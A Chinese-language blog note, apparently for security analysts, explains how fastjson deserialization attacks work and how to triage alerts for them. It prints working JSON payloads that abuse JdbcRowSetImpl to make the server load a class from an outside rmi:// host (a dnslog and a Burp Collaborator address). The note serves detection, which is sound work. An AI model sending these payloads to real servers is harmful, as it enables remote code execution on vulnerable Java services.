fastjson反序列化漏洞

++++fastjson漏洞利用原理++++**

在请求包里面中发送恶意的json格式payload,漏洞在处理json对象的时候,没有对@type 字段进行过滤,从而导致攻击者可以传入恶意的TemplatesImpl类,而这个类有一个字段就是_bytecodes,有部分函数会根据这个_bytecodes生成java实例,这就达到fastjson通 过字段传入一个类,再通过这个类被生成时执行构造函数

++++初研判:++++**

产生这个告警的时候着重查看原始事件里面的payload看是否有json格式的文件或者json的其他字段,或者看响应包里有无json格式或者fastjson,或者是否有_bytecodes 和dnslog关键字。

看是否会出现toJSONString() 和 parseObject() 方法关键字(这俩方法可以将 Java 对象与 JSON 相互转换)

++++告警示例图:++++**

抓包登录界面添加了字符破环原始json数据发现为fastjson

++++fastjson反序列化相关payload++++**

{

"a":{

"@type":"java.lang.Class",

"val":"com.sun.rowset.JdbcRowSetImpl"

},

"b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://dnslog.cn/zcc",

"autoCommit":true

}

}

  1. 驱动JdbcRowSetImpl库;
    2、通过设置dataSourceName属性传参给lookup()方法;
    3、通过设置autoCommit属性来触发执行最终的lookup()方法。
    按照上面的例子,就可以构造出:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://vvui5lzoq6556fmj4al3ighsrjxalz.burpcollaborator.net/Exploit","autoCommit":true}

着重查看标红关键字 rmi.class是Java的类文件,相较来说是恶意的

相关推荐
远离UE415 分钟前
houdini hda 如何让模拟与虚幻物体进行碰撞
笔记·学习·houdini
崎岖Qiu2 小时前
【计算机网络 | 第十三篇】网络层服务的两种实现方式:无连接和面向连接
网络·笔记·计算机网络
山岚的运维笔记3 小时前
SQL Server笔记 -- 第65章:迁移 第66章:表值参数
数据库·笔记·sql·microsoft·sqlserver
前路不黑暗@3 小时前
Java项目:Java脚手架项目的登录认证服务(十三)
java·spring boot·笔记·学习·spring·spring cloud·maven
Hello_Embed5 小时前
Modbus 传感器开发:STM32F030 libmodbus 移植
笔记·stm32·学习·freertos·modbus
快乐zbc6 小时前
苍穹外卖 - 菜品起售/停售复习笔记
java·笔记
前路不黑暗@7 小时前
Java项目:Java脚手架项目的 B 端用户服务(十四)
android·java·开发语言·spring boot·笔记·学习·spring cloud
子辰ToT9 小时前
LearnOpenGL——高级光照(七)HDR
笔记·图形渲染·opengl
山岚的运维笔记10 小时前
SQL Server笔记 -- 第63章:事务隔离级别
数据库·笔记·sql·microsoft·oracle·sqlserver
智者知已应修善业11 小时前
【排列顺序判断是否一次交换能得到升序】2025-1-28
c语言·c++·经验分享·笔记·算法